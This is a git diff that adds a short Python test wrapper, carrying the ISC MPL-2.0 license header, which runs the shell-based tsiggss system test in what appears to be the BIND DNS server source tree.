a/bin/tests/system/tsiggss/tests_sh_tsiggss.py b/bin/tests/system/tsiggss/tests_sh_tsiggss.py new file mode 100644 index 0000000..926a9a9 --- /dev/null +++ b/bin/tests/system/tsiggss/tests_sh_tsiggss.py @@ -0,0 +1,14 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + + +def test_tsiggss(run_tests_sh): + run_tests_sh() |